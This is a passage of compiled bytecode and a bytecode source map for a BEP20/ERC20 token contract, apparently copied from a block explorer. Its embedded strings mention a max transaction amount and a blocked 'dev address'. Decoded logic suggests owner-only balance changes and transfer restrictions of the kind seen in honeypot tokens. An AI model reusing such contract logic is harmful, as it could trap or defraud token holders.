9081526020016000208190555080600160007394235659cf8b805b2c658f9ea2d6d6ddbb17c8d773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cec9190612714565b600160007394235659cf8b805b2c658f9ea2d6d6ddbb17c8d773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507394235659cf8b805b2c658f9ea2d6d6ddbb17c8d773ffffffffffffffffffffffffffffffffffffffff1673c7d0445ac2947760b3dd388b8586adf079972bf373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611dc891906126c2565b60405180910390a35b50565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480611e3e575060011515611e3a83611e88565b1515145b15611e4c5760019050611e83565b600454611e58836107e6565b10158015611e705750600554611e6d836107e6565b11155b15611e7e5760009050611e83565b600190505b919050565b600080600090505b600980549050811015611f52578273ffffffffffffffffffffffffffffffffffffffff1660098281548110611eee577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611f3f576001915050611f54565b8080611f4a906128e3565b915050611e90565b505b919050565b600081359050611f68816129ca565b92915050565b60008083601f840112611f8057600080fd5b8235905067ffffffffffffffff811115611f9957600080fd5b602083019150836020820283011115611fb157600080fd5b9250929050565b600081359050611fc7816129e1565b92915050565b600060208284031215611fdf57600080fd5b6000611fed84828501611f59565b91505092915050565b6000806040838503121561200957600080fd5b600061201785828601611f59565b925050602061202885828601611f59565b9150509250929050565b60008060006060848603121561204757600080fd5b600061205586828701611f59565b935050602061206686828701611f59565b925050604061207786828701611fb8565b9150509250925092565b6000806040838503121561209457600080fd5b60006120a285828601611f59565b92505060206120b385828601611fb8565b9150509250929050565b600080602083850312156120d057600080fd5b600083013567ffffffffffffffff8111156120ea57600080fd5b6120f685828601611f6e565b92509250509250929050565b60006020828403121561211457600080fd5b600061212284828501611fb8565b91505092915050565b61213481612829565b82525050565b6121438161283b565b82525050565b6000612154826126f8565b61215e8185612703565b935061216e81856020860161287e565b612177816129b9565b840191505092915050565b600061218f602083612703565b91507f45524332303a2063616e6e6f74207065726d69742064657620616464726573736000830152602082019050919050565b60006121cf602583612703565b91507f42455032303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612235602683612703565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061229b602283612703565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612301601b83612703565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b6000612341602883612703565b91507f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008301527f78416d6f756e742e0000000000000000000000000000000000000000000000006020830152604082019050919050565b60006123a7602183612703565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061240d602083612703565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b600061244d602383612703565b91507f42455032303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006124b3602483612703565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61251581612867565b82525050565b61252481612871565b82525050565b600060208201905061253f600083018461212b565b92915050565b600060208201905061255a600083018461213a565b92915050565b6000602082019050818103600083015261257a8184612149565b905092915050565b6000602082019050818103600083015261259b81612182565b9050919050565b600060208201905081810360008301526125bb816121c2565b9050919050565b600060208201905081810360008301526125db81612228565b9050919050565b600060208201905081810360008301526125fb8161228e565b9050919050565b6000602082019050818103600083015261261b816122f4565b9050919050565b6000602082019050818103600083015261263b81612334565b9050919050565b6000602082019050818103600083015261265b8161239a565b9050919050565b6000602082019050818103600083015261267b81612400565b9050919050565b6000602082019050818103600083015261269b81612440565b9050919050565b600060208201905081810360008301526126bb816124a6565b9050919050565b60006020820190506126d7600083018461250c565b92915050565b60006020820190506126f2600083018461251b565b92915050565b600081519050919050565b600082825260208201905092915050565b600061271f82612867565b915061272a83612867565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561275f5761275e61292c565b5b828201905092915050565b600061277582612867565b915061278083612867565b9250826127905761278f61295b565b5b828204905092915050565b60006127a682612867565b91506127b183612867565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127ea576127e961292c565b5b828202905092915050565b600061280082612867565b915061280b83612867565b92508282101561281e5761281d61292c565b5b828203905092915050565b600061283482612847565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561289c578082015181840152602081019050612881565b838111156128ab576000848401525b50505050565b600060028204905060018216806128c957607f821691505b602082108114156128dd576128dc61298a565b5b50919050565b60006128ee82612867565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156129215761292061292c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6129d381612829565b81146129de57600080fd5b50565b6129ea81612867565b81146129f557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a26469706673582212205b9544ed24f154e21230a8c32ba64ca94d785cfc3a6a522777490ae48aa4825d64736f6c63430008000033

Deployed Bytecode Sourcemap

15474:9600:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16655:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19609:161;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19782:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17383:313;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15903:72;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18420:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20621:429;;;:::i;:::-;;15982:72;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24944:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14916:148;;;:::i;:::-;;14355:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17065:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22468:162;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16164:25;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18515:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21123:250;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22313:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21767:171;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18896:170;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15223:244;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19137:195;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16655:83;16692:13;16725:5;16718:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16655:83;:::o;19609:161::-;19684:4;19701:39;19710:12;:10;:12::i;:::-;19724:7;19733:6;19701:8;:39::i;:::-;19758:4;19751:11;;19609:161;;;;:::o;19782:95::-;19835:7;19862;;19855:14;;19782:95;:::o;17383:313::-;17481:4;17498:36;17508:6;17516:9;17527:6;17498:9;:36::i;:::-;17545:121;17554:6;17562:12;:10;:12::i;:::-;17576:89;17614:6;17576:89;;;;;;;;;;;;;;;;;:11;:19;17588:6;17576:19;;;;;;;;;;;;;;;:33;17596:12;:10;:12::i;:::-;17576:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;17545:8;:121::i;:::-;17684:4;17677:11;;17383:313;;;;;:::o;15903:72::-;15933:42;15903:72;:::o;18420:83::-;18461:5;18486:9;;;;;;;;;;;18479:16;;18420:83;:::o;20621:429::-;20690:11;;;;;;;;;;;20674:27;;:12;:10;:12::i;:::-;:27;;;20666:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;20759:22;20784:9;:22;20794:11;;;;;;;;;;;20784:22;;;;;;;;;;;;;;;;20759:47;;20817:14;20844:5;20834:7;;:15;;;;:::i;:::-;20817:32;;20879:7;;20870:6;:16;;;;:::i;:::-;20860:7;:26;;;;20931:14;20922:6;:23;;;;:::i;:::-;20897:9;:22;20907:11;;;;;;;;;;;20897:22;;;;;;;;;;;;;;;:48;;;;21009:11;;;;;;;;;;;20961:81;;20992:1;20961:81;;;21035:6;20961:81;;;;;;:::i;:::-;;;;;;;;20621:429;;:::o;15982:72::-;16012:42;15982:72;:::o;24944:119::-;25010:7;25037:9;:18;25047:7;25037:18;;;;;;;;;;;;;;;;25030:25;;24944:119;;;:::o;14916:148::-;14496:12;:10;:12::i;:::-;14486:22;;:6;;;;;;;;;;:22;;;14478:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15023:1:::1;14986:40;;15007:6;::::0;::::1;;;;;;;;14986:40;;;;;;;;;;;;15054:1;15037:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;14916:148::o:0;14355:79::-;14393:7;14420:6;;;;;;;;;;;14413:13;;14355:79;:::o;17065:87::-;17104:13;17137:7;17130:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17065:87;:::o;22468:162::-;22546:11;;;;;;;;;;;22530:27;;:12;:10;:12::i;:::-;:27;;;22522:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;22618:4;22605:10;;:17;;;;;;;;;;;;;;;;;;22468:162;:::o;16164:25::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;18515:167::-;18593:4;18610:42;18620:12;:10;:12::i;:::-;18634:9;18645:6;18610:9;:42::i;:::-;18670:4;18663:11;;18515:167;;;;:::o;21123:250::-;21213:11;;;;;;;;;;;21197:27;;:12;:10;:12::i;:::-;:27;;;21189:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;21276:6;21272:94;21290:9;;:16;;21286:1;:20;21272:94;;;21327:8;21341:9;;21351:1;21341:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;21327:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21308:3;;;;;:::i;:::-;;;;21272:94;;;;21123:250;;:::o;22313:143::-;22394:7;22421:11;:18;22433:5;22421:18;;;;;;;;;;;;;;;:27;22440:7;22421:27;;;;;;;;;;;;;;;;22414:34;;22313:143;;;;:::o;21767:171::-;21848:11;;;;;;;;;;;21832:27;;:12;:10;:12::i;:::-;:27;;;21824:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;21907:10;21923:6;21907:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21767:171;:::o;18896:170::-;18978:11;;;;;;;;;;;18962:27;;:12;:10;:12::i;:::-;:27;;;18954:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;19052:6;19037:12;:21;;;;18896:170;:::o;15223:244::-;14496:12;:10;:12::i;:::-;14486:22;;:6;;;;;;;;;;:22;;;14478:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15332:1:::1;15312:22;;:8;:22;;;;15304:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;15422:8;15393:38;;15414:6;::::0;::::1;;;;;;;;15393:38;;;;;;;;;;;;15451:8;15442:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;15223:244:::0;:::o;19137:195::-;19224:11;;;;;;;;;;;19208:27;;:12;:10;:12::i;:::-;:27;;;19200:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;19296:28;19320:3;19296:19;19308:6;19296:7;;:11;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;19283:10;:41;;;;19137:195;:::o;10757:471::-;10815:7;11065:1;11060;:6;11056:47;;;11090:1;11083:8;;;;11056:47;11115:9;11131:1;11127;:5;;;;:::i;:::-;11115:17;;11160:1;11155;11151;:5;;;;:::i;:::-;:10;11143:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;11219:1;11212:8;;;10757:471;;;;;:::o;11704:132::-;11762:7;11789:39;11793:1;11796;11789:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;11782:46;;11704:132;;;;:::o;6154:98::-;6207:7;6234:10;6227:17;;6154:98;:::o;17708:337::-;17818:1;17801:19;;:5;:19;;;;17793:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17899:1;17880:21;;:7;:21;;;;17872:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17983:6;17953:11;:18;17965:5;17953:18;;;;;;;;;;;;;;;:27;17972:7;17953:27;;;;;;;;;;;;;;;:36;;;;18021:7;18005:32;;18014:5;18005:32;;;18030:6;18005:32;;;;;;:::i;:::-;;;;;;;;17708:337;;;:::o;23475:1115::-;23591:1;23573:20;;:6;:20;;;;23565:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;23675:1;23654:23;;:9;:23;;;;23646:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;23766:4;23742:28;;:20;23755:6;23742:12;:20::i;:::-;:28;;;23738:126;;;23805:2;23796:6;:11;23788:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;23738:126;23898:7;:5;:7::i;:::-;23888:17;;:6;:17;;;:42;;;;23919:11;;;;;;;;;;;23909:21;;:6;:21;;;23888:42;23884:699;;;23967:71;23989:6;23967:71;;;;;;;;;;;;;;;;;:9;:17;23977:6;23967:17;;;;;;;;;;;;;;;;:21;;:71;;;;;:::i;:::-;23947:9;:17;23957:6;23947:17;;;;;;;;;;;;;;;:91;;;;24076:32;24101:6;24076:9;:20;24086:9;24076:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;24053:9;:20;24063:9;24053:20;;;;;;;;;;;;;;;:55;;;;24125:26;24140:10;24125:14;:26::i;:::-;24188:9;24171:35;;24180:6;24171:35;;;24199:6;24171:35;;;;;;:::i;:::-;;;;;;;;23884:699;;;24247:27;24267:6;24247:19;:27::i;:::-;24238:37;;;;;;24320:71;24342:6;24320:71;;;;;;;;;;;;;;;;;:9;:17;24330:6;24320:17;;;;;;;;;;;;;;;;:21;;:71;;;;;:::i;:::-;24300:9;:17;24310:6;24300:17;;;;;;;;;;;;;;;:91;;;;24429:32;24454:6;24429:9;:20;24439:9;24429:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;24406:9;:20;24416:9;24406:20;;;;;;;;;;;;;;;:55;;;;24476:26;24491:10;24476:14;:26::i;:::-;24553:9;24536:35;;24545:6;24536:35;;;24564:6;24536:35;;;;;;:::i;:::-;;;;;;;;23884:699;23475:1115;;;:::o;10306:192::-;10392:7;10425:1;10420;:6;;10428:12;10412:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;10452:9;10468:1;10464;:5;;;;:::i;:::-;10452:17;;10489:1;10482:8;;;10306:192;;;;;:::o;12332:278::-;12418:7;12450:1;12446;:5;12453:12;12438:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;12477:9;12493:1;12489;:5;;;;:::i;:::-;12477:17;;12601:1;12594:8;;;12332:278;;;;;:::o;21472:229::-;21532:4;21554:9;21566:1;21554:13;;21549:145;21573:8;:15;;;;21569:1;:19;21549:145;;;21629:6;21614:21;;:8;21623:1;21614:11;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:21;;;21610:73;;;21663:4;21656:11;;;;;21610:73;21590:3;;;;;:::i;:::-;;;;21549:145;;;;21472:229;;;;:::o;9403:181::-;9461:7;9481:9;9497:1;9493;:5;;;;:::i;:::-;9481:17;;9522:1;9517;:6;;9509:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;9575:1;9568:8;;;9403:181;;;;:::o;22975:284::-;23072:7;23055:9;:14;15933:42;23055:14;;;;;;;;;;;;;;;;:24;23051:201;;;23130:7;23113:9;:14;15933:42;23113:14;;;;;;;;;;;;;;;;:24;;;;:::i;:::-;23096:9;:14;15933:42;23096:14;;;;;;;;;;;;;;;:41;;;;23186:7;23169:9;:14;16012:42;23169:14;;;;;;;;;;;;;;;;:24;;;;:::i;:::-;23152:9;:14;16012:42;23152:14;;;;;;;;;;;;;;;:41;;;;16012:42;23213:27;;15933:42;23213:27;;;23232:7;23213:27;;;;;;:::i;:::-;;;;;;;;23051:201;22975:284;:::o;20204:405::-;20279:4;20317:10;;;;;;;;;;;20299:28;;:14;:28;;;:70;;;;20365:4;20331:38;;:30;20346:14;20331;:30::i;:::-;:38;;;20299:70;20295:114;;;20393:4;20386:11;;;;20295:114;20462:12;;20433:25;20443:14;20433:9;:25::i;:::-;:41;;:84;;;;;20507:10;;20478:25;20488:14;20478:9;:25::i;:::-;:39;;20433:84;20429:173;;;20541:5;20534:12;;;;20429:173;20586:4;20579:11;;20204:405;;;;:::o;22732:235::-;22794:4;22816:9;22828:1;22816:13;;22811:149;22835:10;:17;;;;22831:1;:21;22811:149;;;22895:6;22878:23;;:10;22889:1;22878:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:23;;;22874:75;;;22929:4;22922:11;;;;;22874:75;22854:3;;;;;:::i;:::-;;;;22811:149;;;;22732:235;;;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;169:367::-;;;302:3;295:4;287:6;283:17;279:27;269:2;;320:1;317;310:12;269:2;356:6;343:20;333:30;;386:18;378:6;375:30;372:2;;;418:1;415;408:12;372:2;455:4;447:6;443:17;431:29;;509:3;501:4;493:6;489:17;479:8;475:32;472:41;469:2;;;526:1;523;516:12;469:2;259:277;;;;;:::o;542:139::-;;626:6;613:20;604:29;;642:33;669:5;642:33;:::i;:::-;594:87;;;;:::o;687:262::-;;795:2;783:9;774:7;770:23;766:32;763:2;;;811:1;808;801:12;763:2;854:1;879:53;924:7;915:6;904:9;900:22;879:53;:::i;:::-;869:63;;825:117;753:196;;;;:::o;955:407::-;;;1080:2;1068:9;1059:7;1055:23;1051:32;1048:2;;;1096:1;1093;1086:12;1048:2;1139:1;1164:53;1209:7;1200:6;1189:9;1185:22;1164:53;:::i;:::-;1154:63;;1110:117;1266:2;1292:53;1337:7;1328:6;1317:9;1313:22;1292:53;:::i;:::-;1282:63;;1237:118;1038:324;;;;;:::o;1368:552::-;;;;1510:2;1498:9;1489:7;1485:23;1481:32;1478:2;;;1526:1;1523;1516:12;1478:2;1569:1;1594:53;1639:7;1630:6;1619:9;1615:22;1594:53;:::i;:::-;1584:63;;1540:117;1696:2;1722:53;1767:7;1758:6;1747:9;1743:22;1722:53;:::i;:::-;1712:63;;1667:118;1824:2;1850:53;1895:7;1886:6;1875:9;1871:22;1850:53;:::i;:::-;1840:63;;1795:118;1468:452;;;;;:::o;1926:407::-;;;2051:2;2039:9;2030:7;2026:23;2022:32;2019:2;;;2067:1;2064;2057:12;2019:2;2110:1;2135:53;2180:7;2171:6;2160:9;2156:22;2135:53;:::i;:::-;2125:63;;2081:117;2237:2;2263:53;2308:7;2299:6;2288:9;2284:22;2263:53;:::i;:::-;2253:63;;2208:118;2009:324;;;;;:::o;2339:425::-;;;2482:2;2470:9;2461:7;2457:23;2453:32;2450:2;;;2498:1;2495;2488:12;2450:2;2569:1;2558:9;2554:17;2541:31;2599:18;2591:6;2588:30;2585:2;;;2631:1;2628;2621:12;2585:2;2667:80;2739:7;2730:6;2719:9;2715:22;2667:80;:::i;:::-;2649:98;;;;2512:245;2440:324;;;;;:::o;2770:262::-;;2878:2;2866:9;2857:7;2853:23;2849:32;2846:2;;;2894:1;2891;2884:12;2846:2;2937:1;2962:53;3007:7;2998:6;2987:9;2983:22;2962:53;:::i;:::-;2952:63;;2908:117;2836:196;;;;:::o;3038:118::-;3125:24;3143:5;3125:24;:::i;:::-;3120:3;3113:37;3103:53;;:::o;3162:109::-;3243:21;3258:5;3243:21;:::i;:::-;3238:3;3231:34;3221:50;;:::o;3277:364::-;;3393:39;3426:5;3393:39;:::i;:::-;3448:71;3512:6;3507:3;3448:71;:::i;:::-;3441:78;;3528:52;3573:6;3568:3;3561:4;3554:5;3550:16;3528:52;:::i;:::-;3605:29;3627:6;3605:29;:::i;:::-;3600:3;3596:39;3589:46;;3369:272;;;;;:::o;3647:330::-;;3810:67;3874:2;3869:3;3810:67;:::i;:::-;3803:74;;3907:34;3903:1;3898:3;3894:11;3887:55;3968:2;3963:3;3959:12;3952:19;;3793:184;;;:::o;3983:369::-;;4146:67;4210:2;4205:3;4146:67;:::i;:::-;4139:74;;4243:34;4239:1;4234:3;4230:11;4223:55;4309:7;4304:2;4299:3;4295:12;4288:29;4343:2;4338:3;4334:12;4327:19;;4129:223;;;:::o;4358:370::-;;4521:67;4585:2;4580:3;4521:67;:::i;:::-;4514:74;;4618:34;4614:1;4609:3;4605:11;4598:55;4684:8;4679:2;4674:3;4670:12;4663:30;4719:2;4714:3;4710:12;4703:19;;4504:224;;;:::o;4734:366::-;;4897:67;4961:2;4956:3;4897:67;:::i;:::-;4890:74;;4994:34;4990:1;4985:3;4981:11;4974:55;5060:4;5055:2;5050:3;5046:12;5039:26;5091:2;5086:3;5082:12;5075:19;;4880:220;;;:::o;5106:325::-;;5269:67;5333:2;5328:3;5269:67;:::i;:::-;5262:74;;5366:29;5362:1;5357:3;5353:11;5346:50;5422:2;5417:3;5413:12;5406:19;;5252:179;;;:::o;5437:372::-;;5600:67;5664:2;5659:3;5600:67;:::i;:::-;5593:74;;5697:34;5693:1;5688:3;5684:11;5677:55;5763:10;5758:2;5753:3;5749:12;5742:32;5800:2;5795:3;5791:12;5784:19;;5583:226;;;:::o;5815:365::-;;5978:67;6042:2;6037:3;5978:67;:::i;:::-;5971:74;;6075:34;6071:1;6066:3;6062:11;6055:55;6141:3;6136:2;6131:3;6127:12;6120:25;6171:2;6166:3;6162:12;6155:19;;5961:219;;;:::o;6186:330::-;;6349:67;6413:2;6408:3;6349:67;:::i;:::-;6342:74;;6446:34;6442:1;6437:3;6433:11;6426:55;6507:2;6502:3;6498:12;6491:19;;6332:184;;;:::o;6522:367::-;;6685:67;6749:2;6744:3;6685:67;:::i;:::-;6678:74;;6782:34;6778:1;6773:3;6769:11;6762:55;6848:5;6843:2;6838:3;6834:12;6827:27;6880:2;6875:3;6871:12;6864:19;;6668:221;;;:::o;6895:368::-;;7058:67;7122:2;7117:3;7058:67;:::i;:::-;7051:74;;7155:34;7151:1;7146:3;7142:11;7135:55;7221:6;7216:2;7211:3;7207:12;7200:28;7254:2;7249:3;7245:12;7238:19;;7041:222;;;:::o;7269:118::-;7356:24;7374:5;7356:24;:::i;:::-;7351:3;7344:37;7334:53;;:::o;7393:112::-;7476:22;7492:5;7476:22;:::i;:::-;7471:3;7464:35;7454:51;;:::o;7511:222::-;;7642:2;7631:9;7627:18;7619:26;;7655:71;7723:1;7712:9;7708:17;7699:6;7655:71;:::i;:::-;7609:124;;;;:::o;7739:210::-;;7864:2;7853:9;7849:18;7841:26;;7877:65;7939:1;7928:9;7924:17;7915:6;7877:65;:::i;:::-;7831:118;;;;:::o;7955:313::-;;8106:2;8095:9;8091:18;8083:26;;8155:9;8149:4;8145:20;8141:1;8130:9;8126:17;8119:47;8183:78;8256:4;8247:6;8183:78;:::i;:::-;8175:86;;8073:195;;;;:::o;8274:419::-;;8478:2;8467:9;8463:18;8455:26;;8527:9;8521:4;8517:20;8513:1;8502:9;8498:17;8491:47;8555:131;8681:4;8555:131;:::i;:::-;8547:139;;8445:248;;;:::o;8699:419::-;;8903:2;8892:9;8888:18;8880:26;;8952:9;8946:4;8942:20;8938:1;8927:9;8923:17;8916:47;8980:131;9106:4;8980:131;:::i;:::-;8972:139;;8870:248;;;:::o;9124:419::-;;9328:2;9317:9;9313:18;9305:26;;9377:9;9371:4;9367:20;9363:1;9352:9;9348:17;9341:47;9405:131;9531:4;9405:131;:::i;:::-;9397:139;;9295:248;;;:::o;9549:419::-;;9753:2;9742:9;9738:18;9730:26;;9802:9;9796:4;9792:20;9788:1;9777:9;9773:17;9766:47;9830:131;9956:4;9830:131;:::i;:::-;9822:139;;9720:248;;;:::o;9974:419::-;;10178:2;10167:9;10163:18;10155:26;;10227:9;10221:4;10217:20;10213:1;10202:9;10198:17;10191:47;10255:131;10381:4;10255:131;:::i;:::-;10247:139;;10145:248;;;:::o;10399:419::-;;10603:2;10592:9;10588:18;10580:26;;10652:9;10646:4;10642:20;10638:1;10627:9;10623:17;10616:47;10680:131;10806:4;10680:131;:::i;:::-;10672:139;;10570:248;;;:::o;10824:419::-;;11028:2;11017:9;11013:18;11005:26;;11077:9;11071:4;11067:20;11063:1;11052:9;11048:17;11041:47;11105:131;11231:4;11105:131;:::i;:::-;11097:139;;10995:248;;;:::o;11249:419::-;;11453:2;11442:9;11438:18;11430:26;;11502:9;11496:4;11492:20;11488:1;11477:9;11473:17;11466:47;11530:131;11656:4;11530:131;:::i;:::-;11522:139;;11420:248;;;:::o;11674:419::-;;11878:2;11867:9;11863:18;11855:26;;11927:9;11921:4;11917:20;11913:1;11902:9;11898:17;11891:47;11955:131;12081:4;11955:131;:::i;:::-;11947:139;;11845:248;;;:::o;12099:419::-;;12303:2;12292:9;12288:18;12280:26;;12352:9;12346:4;12342:20;12338:1;12327:9;12323:17;12316:47;12380:131;12506:4;12380:131;:::i;:::-;12372:139;;12270:248;;;:::o;12524:222::-;;12655:2;12644:9;12640:18;12632:26;;12668:71;12736:1;12725:9;12721:17;12712:6;12668:71;:::i;:::-;12622:124;;;;:::o;12752:214::-;;12879:2;12868:9;12864:18;12856:26;;12892:67;12956:1;12945:9;12941:17;12932:6;12892:67;:::i;:::-;12846:120;;;;:::o;12972:99::-;;13058:5;13052:12;13042:22;;13031:40;;;:::o;13077:169::-;;13195:6;13190:3;13183:19;13235:4;13230:3;13226:14;13211:29;;13173:73;;;;:::o;13252:305::-;;13311:20;13329:1;13311:20;:::i;:::-;13306:25;;13345:20;13363:1;13345:20;:::i;:::-;13340:25;;13499:1;13431:66;13427:74;13424:1;13421:81;13418:2;;;13505:18;;:::i;:::-;13418:2;13549:1;13546;13542:9;13535:16;;13296:261;;;;:::o;13563:185::-;;13620:20;13638:1;13620:20;:::i;:::-;13615:25;;13654:20;13672:1;13654:20;:::i;:::-;13649:25;;13693:1;13683:2;;13698:18;;:::i;:::-;13683:2;13740:1;13737;13733:9;13728:14;;13605:143;;;;:::o;13754:348::-;;13817:20;13835:1;13817:20;:::i;:::-;13812:25;;13851:20;13869:1;13851:20;:::i;:::-;13846:25;;14039:1;13971:66;13967:74;13964:1;13961:81;13956:1;13949:9;13942:17;13938:105;13935:2;;;14046:18;;:::i;:::-;13935:2;14094:1;14091;14087:9;14076:20;;13802:300;;;;:::o;14108:191::-;;14168:20;14186:1;14168:20;:::i;:::-;14163:25;;14202:20;14220:1;14202:20;:::i;:::-;14197:25;;14241:1;14238;14235:8;14232:2;;;14246:18;;:::i;:::-;14232:2;14291:1;14288;14284:9;14276:17;;14153:146;;;;:::o;14305:96::-;;14371:24;14389:5;14371:24;:::i;:::-;14360:35;;14350:51;;;:::o;14407:90::-;;14484:5;14477:13;14470:21;14459:32;;14449:48;;;:::o;14503:126::-;;14580:42;14573:5;14569:54;14558:65;;14548:81;;;:::o;14635:77::-;;14701:5;14690:16;;14680:32;;;:::o;14718:86::-;;14793:4;14786:5;14782:16;14771:27;;14761:43;;;:::o;14810:307::-;14878:1;14888:113;14902:6;14899:1;14896:13;14888:113;;;14987:1;14982:3;14978:11;14972:18;14968:1;14963:3;14959:11;14952:39;14924:2;14921:1;14917:10;14912:15;;14888:113;;;15019:6;15016:1;15013:13;15010:2;;;15099:1;15090:6;15085:3;15081:16;15074:27;15010:2;14859:258;;;;:::o;15123:320::-;;15204:1;15198:4;15194:12;15184:22;;15251:1;15245:4;15241:12;15272:18;15262:2;;15328:4;15320:6;15316:17;15306:27;;15262:2;15390;15382:6;15379:14;15359:18;15356:38;15353:2;;;15409:18;;:::i;:::-;15353:2;15174:269;;;;:::o;15449:233::-;;15511:24;15529:5;15511:24;:::i;:::-;15502:33;;15557:66;15550:5;15547:77;15544:2;;;15627:18;;:::i;:::-;15544:2;15674:1;15667:5;15663:13;15656:20;;15492:190;;;:::o;15688:180::-;15736:77;15733:1;15726:88;1583